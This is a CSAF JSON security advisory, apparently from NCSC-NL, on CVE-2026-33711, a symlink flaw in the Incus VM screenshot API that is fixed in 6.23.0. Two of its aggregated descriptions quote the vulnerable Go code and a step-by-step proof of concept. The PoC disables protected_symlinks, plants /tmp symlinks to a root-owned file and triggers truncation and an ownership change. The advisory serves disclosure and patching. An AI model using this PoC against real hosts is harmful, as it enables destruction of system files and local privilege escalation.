{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-33711",
        "tracking": {
            "current_release_date": "2026-03-30T19:25:32.464539Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-33711",
            "initial_release_date": "2026-03-26T23:24:53.166791Z",
            "revision_history": [
                {
                    "date": "2026-03-26T23:24:53.166791Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-26T23:24:55.624612Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-26T23:38:46.420756Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-26T23:38:53.089858Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T06:43:22.760415Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source."
                },
                {
                    "date": "2026-03-27T07:35:58.706032Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T19:41:51.223202Z",
                    "number": "7",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1).| Vendor_assessment created."
                },
                {
                    "date": "2026-03-27T19:41:57.168159Z",
                    "number": "8",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T19:47:36.654322Z",
                    "number": "9",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (4).| CWES updated (1)."
                },
                {
                    "date": "2026-03-27T19:47:46.829885Z",
                    "number": "10",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T20:56:26.130780Z",
                    "number": "11",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-27T20:56:27.901916Z",
                    "number": "12",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T21:27:06.284133Z",
                    "number": "13",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-28T07:41:31.574757Z",
                    "number": "14",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)."
                },
                {
                    "date": "2026-03-28T07:41:33.677923Z",
                    "number": "15",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-30T19:25:11.685444Z",
                    "number": "16",
                    "summary": "CVSS created.| Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-30T19:25:16.329319Z",
                    "number": "17",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "17"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<6.23.0",
                                "product": {
                                    "name": "vers:unknown/<6.23.0",
                                    "product_id": "CSAFPID-5965579",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:linuxcontainers:incus:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "incus"
                    }
                ],
                "category": "vendor",
                "name": "linuxcontainers"
            },
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<6.23.0",
                                "product": {
                                    "name": "vers:unknown/<6.23.0",
                                    "product_id": "CSAFPID-5919453"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<6.23.0",
                                "product": {
                                    "name": "vers:unknown/>=0|<6.23.0",
                                    "product_id": "CSAFPID-5944290"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "incus"
                    }
                ],
                "category": "vendor",
                "name": "lxc"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-33711",
            "cwe": {
                "id": "CWE-61",
                "name": "UNIX Symbolic Link (Symlink) Following"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "Incus is a system container and virtual machine manager. Incus provides an API to retrieve VM screenshots. That API relies on the use of a temporary file for QEMU to write the screenshot to which is then picked up and sent to the user prior to deletion. As versions prior to 6.23.0 use predictable paths under /tmp for this, an attacker with local access to the system can abuse this mechanism by creating their own symlinks ahead of time. On the vast majority of Linux systems, this will result in a \"Permission denied\" error when requesting a screenshot. That's because the Linux kernel has a security feature designed to block such attacks, `protected_symlinks`. On the rare systems with this purposefully disabled, it's then possible to trick Incus intro truncating and altering the mode and permissions of arbitrary files on the filesystem, leading to a potential denial of service or possible local privilege escalation. Version 6.23.0 fixes the issue.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33711"
                },
                {
                    "category": "description",
                    "text": "Incus is a system container and virtual machine manager. Incus provides an API to retrieve VM screenshots. That API relies on the use of a temporary file for QEMU to write the screenshot to which is then picked up and sent to the user prior to deletion. As versions prior to 6.23.0 use predictable paths under /tmp for this, an attacker with local access to the system can abuse this mechanism by creating their own symlinks ahead of time. On the vast majority of Linux systems, this will result in a \"Permission denied\" error when requesting a screenshot. That's because the Linux kernel has a security feature designed to block such attacks, `protected_symlinks`. On the rare systems with this purposefully disabled, it's then possible to trick Incus intro truncating and altering the mode and permissions of arbitrary files on the filesystem, leading to a potential denial of service or possible local privilege escalation. Version 6.23.0 fixes the issue.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33711.json"
                },
                {
                    "category": "description",
                    "text": "Incus is a system container and virtual machine manager. Incus provides an API to retrieve VM screenshots. That API relies on the use of a temporary file for QEMU to write the screenshot to which is then picked up and sent to the user prior to deletion. As versions prior to 6.23.0 use predictable paths under /tmp for this, an attacker with local access to the system can abuse this mechanism by creating their own symlinks ahead of time. On the vast majority of Linux systems, this will result in a \"Permission denied\" error when requesting a screenshot. That's because the Linux kernel has a security feature designed to block such attacks, `protected_symlinks`. On the rare systems with this purposefully disabled, it's then possible to trick Incus intro truncating and altering the mode and permissions of arbitrary files on the filesystem, leading to a potential denial of service or possible local privilege escalation. Version 6.23.0 fixes the issue.",
                    "title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-33711"
                },
                {
                    "category": "description",
                    "text": "A flaw was found in Incus, a system container and virtual machine manager. A local attacker could exploit a vulnerability in the API responsible for retrieving VM screenshots. By creating symbolic links (symlinks) in predictable temporary file paths, an attacker could trick Incus into truncating and altering arbitrary files on the filesystem. This could lead to a denial of service or, in specific configurations where the `protected_symlinks` kernel security feature is disabled, a local privilege escalation.\nThis Important flaw in Incus allows a local attacker to achieve denial of service or, under specific conditions, local privilege escalation. The vulnerability arises from predictable temporary file paths used during VM screenshot retrieval, enabling symlink attacks. On Red Hat Enterprise Linux, the `protected_symlinks` kernel security feature is enabled by default, which prevents the privilege escalation vector of this flaw.",
                    "title": "redhat - https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33711.json"
                },
                {
                    "category": "description",
                    "text": "### Summary\nIncus provides an API to retrieve VM screenshots, that API relies on the use of a temporary file for QEMU to write the screenshot to which is then picked up and sent to the user prior to deletion.\n\nAs Incus uses predictable paths under /tmp for this, an attacker with local access to the system can abuse this mechanism by creating their own symlinks ahead of time.\n\nOn the vast majority of Linux systems, this will result in a \"Permission denied\" error when requesting a screenshot. That's because the Linux kernel has a security feature designed to block such attacks, `protected_symlinks`.\n\nOn the rare systems with this purposefully disabled, it's then possible to trick Incus intro truncating and altering the mode and permissions of arbitrary files on the filesystem, leading to a potential denial of service or possible local privilege escalation.\n\n### Details\nThe incusd daemon contains a local privilege escalation (LPE) primitive in the Virtual Machine VGA screenshot handling routine. When a screenshot is requested, the daemon creates a file in the globally writable /tmp directory using a deterministic pathname derived from the instance identifier. Because this implementation uses a predictable pathname in a world-writable directory, it exposes the operation to pathname attacks. The file permissions are then restricted, and the file is passed to the QEMU screenshot routine. In the QEMU path, ownership is transferred to the unprivileged Virtual Machine UID before the QEMU Machine Protocol is invoked with the same pathname.\n\nAn attacker able to pre-place or otherwise control that pathname can redirect truncation and ownership changes to an unintended host file.\n\nThis allows attacker-chosen host files to be truncated and have ownership reassigned to the unprivileged VM UID. In practice, this can be used to destroy sensitive root-owned files and alter ownership of security-relevant host paths. Depending on the targeted path and follow-up conditions, the impact may include denial of service, corruption of credentials or configuration, persistence through modified startup or service files, and further privilege escalation on the host.\n\nAs previously mentioned, this is only possible if the kernel protection mechanism has been previously disabled.\nIt's possible to check on its status by reading the file at `/proc/sys/fs/protected_symlinks`, a value of 0 is required for this attack to work.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.20.0/cmd/incusd/instance_console.go \n\nAffected Code:\n```go\nfunc instanceConsoleGet(d *Daemon, r *http.Request) response.Response {\n    [...]\n    } else if inst.Type() == instancetype.VM {\n        v, ok := inst.(instance.VM)\n        if !ok {\n            return response.SmartError(errors.New(\"Failed to cast inst to VM\"))\n        }\n\n        var headers map[string]string\n        if consoleLogType == \"vga\" {\n            screenshotFile, err := os.Create(fmt.Sprintf(\"/tmp/incus_screenshot_%d\", inst.ID()))\n            if err != nil {\n                return response.SmartError(fmt.Errorf(\"Couldn't create screenshot file: %w\", err))\n            }\n\n            err = screenshotFile.Chmod(0o600)\n            if err != nil {\n                return response.SmartError(err)\n            }\n\n            ent.Cleanup = func() {\n                _ = screenshotFile.Close()\n                _ = os.Remove(screenshotFile.Name())\n            }\n\n            err = v.ConsoleScreenshot(screenshotFile)\n            if err != nil {\n                return response.SmartError(err)\n            }\n            [...]\n    }\n    [...]\n}\n```\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.20.0/internal/server/instance/drivers/driver_qemu.go \n\nAffected Code:\n```go\nfunc (d *qemu) ConsoleScreenshot(screenshotFile *os.File) error {\n    if !d.IsRunning() {\n        return errors.New(\"Instance is not running\")\n    }\n\n\n    // Check if the agent is running.\n    monitor, err := d.qmpConnect()\n    if err != nil {\n        return err\n    }\n\n    err = screenshotFile.Chown(int(d.state.OS.UnprivUID), -1)\n    if err != nil {\n        return fmt.Errorf(\"Failed to chown screenshot path: %w\", err)\n    }\n\n\n    // Take the screenshot.\n    err = monitor.Screendump(screenshotFile.Name())\n    if err != nil {\n        return fmt.Errorf(\"Failed taking screenshot: %w\", err)\n    }\n\n    return nil\n}\n```\n\n### PoC\nThe following PoC demonstrates that a local attacker can pre-place symlink traps in the predictable /tmp/incus_screenshot_<ID> namespace and coerce the root incusd daemon into truncating an unintended host file and reassigning its ownership during a VM VGA screenshot request.\n\nStep 0: Disable the kernel symlink protection mechanism\n\nCommands (as root):\n```\necho 0 > /proc/sys/fs/protected_symlinks\n```\n\nStep 1: Prepare the target VM\n\nFrom an Incus client with access to the target server, ensure a running virtual machine exists that can service the VGA screenshot path.\n\nCommands:\n```\nincus init images:alpine/edge lpe-vm --vm --project default\nincus config set lpe-vm security.secureboot=false --project default\nincus start lpe-vm --project default\n```\n\nStep 2: Create a root-owned trap target and pre-place /tmp symlinks\n\nOn the Incus host, create a sensitive root-owned file and place symlinks across a range of likely screenshot identifiers so that the predictable daemon pathname resolves to the chosen host target.\n\nCommands:\n```\necho \"SuperSecretRootHash\" > /root/shadow_trap\nchmod 600 /root/shadow_trap\nls -l /root/shadow_trap\n\n\nfor i in $(seq 1 100); do\n    ln -sf /root/shadow_trap /tmp/incus_screenshot_$i\ndone\n\nls -l /tmp/incus_screenshot_* | head\n```\n\nResult:\n```\n-rw------- 1 root root 20 Mar 18 00:27 /root/shadow_trap\n```\n\nStep 3: Trigger the vulnerable screenshot path\n\nFrom an Incus client with access to the target server, request the VM VGA console through the Incus API. This causes the daemon to open the predictable /tmp/incus_screenshot_<ID> path, change its ownership, and pass the same pathname into the QEMU screendump flow.\n\n\nCommand:\n```\nincus query -X GET \"/1.0/instances/lpe-vm/console?project=default&type=vga\" > /dev/null\n```\n\nResult:\n```\nError: Failed taking screenshot: Failed to connect to QEMU monitor\n```\n\nStep 4: Verify host-side impact\n\nOn the Incus host, inspect the previously root-owned target file and confirm that it has been truncated and that ownership has been reassigned to the unprivileged VM UID.\n\nCommand:\n```\nls -l /root/shadow_trap && stat /root/shadow_trap\n```\n\nResult:\n```\n-rw------- 1 incus root 0 Mar 18 00:29 /root/shadow_trap\n  File: /root/shadow_trap\n  Size: 0\n  Access: (0600/-rw-------)\n  Uid: ( 100000/   incus)\n  Gid: (     0/    root)\n```\n\nIt is recommended to create the temporary file securely in a directory controlled exclusively by the daemon, avoid predictable /tmp paths, and avoid reusing a mutable pathname after file creation.\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-q9vp-3wcg-8p4x.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "### Summary\nIncus provides an API to retrieve VM screenshots, that API relies on the use of a temporary file for QEMU to write the screenshot to which is then picked up and sent to the user prior to deletion.\n\nAs Incus uses predictable paths under /tmp for this, an attacker with local access to the system can abuse this mechanism by creating their own symlinks ahead of time.\n\nOn the vast majority of Linux systems, this will result in a \"Permission denied\" error when requesting a screenshot. That's because the Linux kernel has a security feature designed to block such attacks, `protected_symlinks`.\n\nOn the rare systems with this purposefully disabled, it's then possible to trick Incus intro truncating and altering the mode and permissions of arbitrary files on the filesystem, leading to a potential denial of service or possible local privilege escalation.\n\n### Details\nThe incusd daemon contains a local privilege escalation (LPE) primitive in the Virtual Machine VGA screenshot handling routine. When a screenshot is requested, the daemon creates a file in the globally writable /tmp directory using a deterministic pathname derived from the instance identifier. Because this implementation uses a predictable pathname in a world-writable directory, it exposes the operation to pathname attacks. The file permissions are then restricted, and the file is passed to the QEMU screenshot routine. In the QEMU path, ownership is transferred to the unprivileged Virtual Machine UID before the QEMU Machine Protocol is invoked with the same pathname.\n\nAn attacker able to pre-place or otherwise control that pathname can redirect truncation and ownership changes to an unintended host file.\n\nThis allows attacker-chosen host files to be truncated and have ownership reassigned to the unprivileged VM UID. In practice, this can be used to destroy sensitive root-owned files and alter ownership of security-relevant host paths. Depending on the targeted path and follow-up conditions, the impact may include denial of service, corruption of credentials or configuration, persistence through modified startup or service files, and further privilege escalation on the host.\n\nAs previously mentioned, this is only possible if the kernel protection mechanism has been previously disabled.\nIt's possible to check on its status by reading the file at `/proc/sys/fs/protected_symlinks`, a value of 0 is required for this attack to work.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.20.0/cmd/incusd/instance_console.go \n\nAffected Code:\n```go\nfunc instanceConsoleGet(d *Daemon, r *http.Request) response.Response {\n    [...]\n    } else if inst.Type() == instancetype.VM {\n        v, ok := inst.(instance.VM)\n        if !ok {\n            return response.SmartError(errors.New(\"Failed to cast inst to VM\"))\n        }\n\n        var headers map[string]string\n        if consoleLogType == \"vga\" {\n            screenshotFile, err := os.Create(fmt.Sprintf(\"/tmp/incus_screenshot_%d\", inst.ID()))\n            if err != nil {\n                return response.SmartError(fmt.Errorf(\"Couldn't create screenshot file: %w\", err))\n            }\n\n            err = screenshotFile.Chmod(0o600)\n            if err != nil {\n                return response.SmartError(err)\n            }\n\n            ent.Cleanup = func() {\n                _ = screenshotFile.Close()\n                _ = os.Remove(screenshotFile.Name())\n            }\n\n            err = v.ConsoleScreenshot(screenshotFile)\n            if err != nil {\n                return response.SmartError(err)\n            }\n            [...]\n    }\n    [...]\n}\n```\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.20.0/internal/server/instance/drivers/driver_qemu.go \n\nAffected Code:\n```go\nfunc (d *qemu) ConsoleScreenshot(screenshotFile *os.File) error {\n    if !d.IsRunning() {\n        return errors.New(\"Instance is not running\")\n    }\n\n\n    // Check if the agent is running.\n    monitor, err := d.qmpConnect()\n    if err != nil {\n        return err\n    }\n\n    err = screenshotFile.Chown(int(d.state.OS.UnprivUID), -1)\n    if err != nil {\n        return fmt.Errorf(\"Failed to chown screenshot path: %w\", err)\n    }\n\n\n    // Take the screenshot.\n    err = monitor.Screendump(screenshotFile.Name())\n    if err != nil {\n        return fmt.Errorf(\"Failed taking screenshot: %w\", err)\n    }\n\n    return nil\n}\n```\n\n### PoC\nThe following PoC demonstrates that a local attacker can pre-place symlink traps in the predictable /tmp/incus_screenshot_<ID> namespace and coerce the root incusd daemon into truncating an unintended host file and reassigning its ownership during a VM VGA screenshot request.\n\nStep 0: Disable the kernel symlink protection mechanism\n\nCommands (as root):\n```\necho 0 > /proc/sys/fs/protected_symlinks\n```\n\nStep 1: Prepare the target VM\n\nFrom an Incus client with access to the target server, ensure a running virtual machine exists that can service the VGA screenshot path.\n\nCommands:\n```\nincus init images:alpine/edge lpe-vm --vm --project default\nincus config set lpe-vm security.secureboot=false --project default\nincus start lpe-vm --project default\n```\n\nStep 2: Create a root-owned trap target and pre-place /tmp symlinks\n\nOn the Incus host, create a sensitive root-owned file and place symlinks across a range of likely screenshot identifiers so that the predictable daemon pathname resolves to the chosen host target.\n\nCommands:\n```\necho \"SuperSecretRootHash\" > /root/shadow_trap\nchmod 600 /root/shadow_trap\nls -l /root/shadow_trap\n\n\nfor i in $(seq 1 100); do\n    ln -sf /root/shadow_trap /tmp/incus_screenshot_$i\ndone\n\nls -l /tmp/incus_screenshot_* | head\n```\n\nResult:\n```\n-rw------- 1 root root 20 Mar 18 00:27 /root/shadow_trap\n```\n\nStep 3: Trigger the vulnerable screenshot path\n\nFrom an Incus client with access to the target server, request the VM VGA console through the Incus API. This causes the daemon to open the predictable /tmp/incus_screenshot_<ID> path, change its ownership, and pass the same pathname into the QEMU screendump flow.\n\n\nCommand:\n```\nincus query -X GET \"/1.0/instances/lpe-vm/console?project=default&type=vga\" > /dev/null\n```\n\nResult:\n```\nError: Failed taking screenshot: Failed to connect to QEMU monitor\n```\n\nStep 4: Verify host-side impact\n\nOn the Incus host, inspect the previously root-owned target file and confirm that it has been truncated and that ownership has been reassigned to the unprivileged VM UID.\n\nCommand:\n```\nls -l /root/shadow_trap && stat /root/shadow_trap\n```\n\nResult:\n```\n-rw------- 1 incus root 0 Mar 18 00:29 /root/shadow_trap\n  File: /root/shadow_trap\n  Size: 0\n  Access: (0600/-rw-------)\n  Uid: ( 100000/   incus)\n  Gid: (     0/    root)\n```\n\nIt is recommended to create the temporary file securely in a directory controlled exclusively by the daemon, avoid predictable /tmp paths, and avoid reusing a mutable pathname after file creation.\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)",
                    "title": "github - https://api.github.com/advisories/GHSA-q9vp-3wcg-8p4x"
                },
                {
                    "category": "other",
                    "text": "0.00013",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                    "title": "CVSSV4"
                },
                {
                    "category": "other",
                    "text": "4.7",
                    "title": "CVSSV4 base score"
                },
                {
                    "category": "other",
                    "text": "4.1",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "The value of the most recent EPSS score, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                },
                {
                    "category": "details",
                    "text": "Severity: 3\n",
                    "title": "Vendor assessment"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5919453",
                    "CSAFPID-5944290",
                    "CSAFPID-5965579"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33711"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33711.json"
                },
                {
                    "category": "external",
                    "summary": "Source - debian",
                    "url": "https://security-tracker.debian.org/tracker/CVE-2026-33711"
                },
                {
                    "category": "external",
                    "summary": "Source - redhat",
                    "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33711.json"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-q9vp-3wcg-8p4x.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-q9vp-3wcg-8p4x"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv; redhat",
                    "url": "https://github.com/lxc/incus/security/advisories/GHSA-q9vp-3wcg-8p4x"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-33711"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv; redhat",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33711"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://github.com/lxc/incus/commit/ef006240ac2475ddea7b8406cecc7dbd1a883fdf"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://github.com/lxc/incus/releases/tag/v6.23.0"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-q9vp-3wcg-8p4x"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
                        "baseScore": 8.8,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-5919453",
                        "CSAFPID-5944290",
                        "CSAFPID-5965579"
                    ]
                }
            ],
            "title": "CVE-2026-33711"
        }
    ]
}